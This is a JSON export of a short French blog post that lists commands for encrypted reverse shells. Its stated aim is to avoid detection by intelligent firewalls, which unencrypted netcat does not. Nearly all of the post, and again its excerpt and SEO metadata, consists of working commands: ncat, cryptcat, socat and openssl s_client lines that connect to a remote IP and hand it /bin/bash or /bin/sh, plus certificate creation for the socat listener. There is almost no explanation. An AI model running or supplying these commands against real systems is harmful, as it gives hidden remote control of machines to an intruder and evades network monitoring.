{"id":696,"date":"2021-07-29T09:15:58","date_gmt":"2021-07-29T14:15:58","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=696"},"modified":"2022-04-27T07:45:35","modified_gmt":"2022-04-27T12:45:35","slug":"reverse-shell-encrypte","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","title":{"rendered":"Reverse shell encrypt\u00e9"},"content":{"rendered":"<p>Netcat (nc) ne supporte l&rsquo;encryption et cela permet d&rsquo;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&rsquo;am\u00e9liorer la confidentialit\u00e9 des communications<\/p>\n<p><strong>ncat<\/strong><br \/>\n<pre><code class=\"preserve-code-formatting\">apt install ncat\nncat -l 443 --ssl -v\nncat 10.9.0.24 --ssl -e \/bin\/bash -v\n<\/code><\/pre><\/p>\n<p><strong>cryptcat<\/strong><br \/>\n<pre><code class=\"preserve-code-formatting\">\ncryptcat -lvp 4444 -k mysecretkey\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f\n<\/code><\/pre><\/p>\n<p><strong>socat<\/strong><br \/>\n<pre><code class=\"preserve-code-formatting\">openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt\ncat r0cker.key r0cker.crt &gt; r0cker.pem\nsocat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT\nsocat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash<\/code><\/pre><\/p>\n<p><strong>openssl reverse shell<\/strong><br \/>\n<pre><code class=\"preserve-code-formatting\">openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour la cr\u00e9ation d&#039;un certificat\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|openssl s_client -quiet -connect 10.9.0.24:5555 &gt;\/tmp\/f<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Netcat (nc) ne supporte l&rsquo;encryption et cela permet d&rsquo;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&rsquo;am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 &#8211;ssl -v ncat 10.9.0.24 &#8211;ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt cat r0cker.key r0cker.crt &gt; r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-696","post","type-post","status-publish","format-standard","hentry","category-shells"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Reverse shell encrypt\u00e9 - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Netcat (nc) ne supporte l&rsquo;encryption et cela permet d&rsquo;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&rsquo;am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 --ssl -v ncat 10.9.0.24 --ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt cat r0cker.key r0cker.crt &gt; r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-29T14:15:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-04-27T12:45:35+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Reverse shell encrypt\u00e9\",\"datePublished\":\"2021-07-29T14:15:58+00:00\",\"dateModified\":\"2022-04-27T12:45:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\"},\"wordCount\":37,\"commentCount\":0,\"articleSection\":[\"Shells\"],\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\",\"name\":\"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\"},\"datePublished\":\"2021-07-29T14:15:58+00:00\",\"dateModified\":\"2022-04-27T12:45:35+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/07\\\/29\\\/reverse-shell-encrypte\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Reverse shell encrypt\u00e9\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#website\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\"],\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/author\\\/germain\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","og_locale":"fr_CA","og_type":"article","og_title":"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site","og_description":"Netcat (nc) ne supporte l&rsquo;encryption et cela permet d&rsquo;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&rsquo;am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 --ssl -v ncat 10.9.0.24 --ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt cat r0cker.key r0cker.crt &gt; r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-07-29T14:15:58+00:00","article_modified_time":"2022-04-27T12:45:35+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/#article","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/"},"author":{"name":"Germain","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"headline":"Reverse shell encrypt\u00e9","datePublished":"2021-07-29T14:15:58+00:00","dateModified":"2022-04-27T12:45:35+00:00","mainEntityOfPage":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/"},"wordCount":37,"commentCount":0,"articleSection":["Shells"],"inLanguage":"fr-CA","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","name":"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-07-29T14:15:58+00:00","dateModified":"2022-04-27T12:45:35+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Reverse shell encrypt\u00e9"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/84a6ede19ffc8428d804d96f1e476245","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/53421a56f005c0c1d346424eabcd7f752acb999ddca39a31e2bbb5efc4606161?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/696","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=696"}],"version-history":[{"count":3,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/696\/revisions"}],"predecessor-version":[{"id":699,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/696\/revisions\/699"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}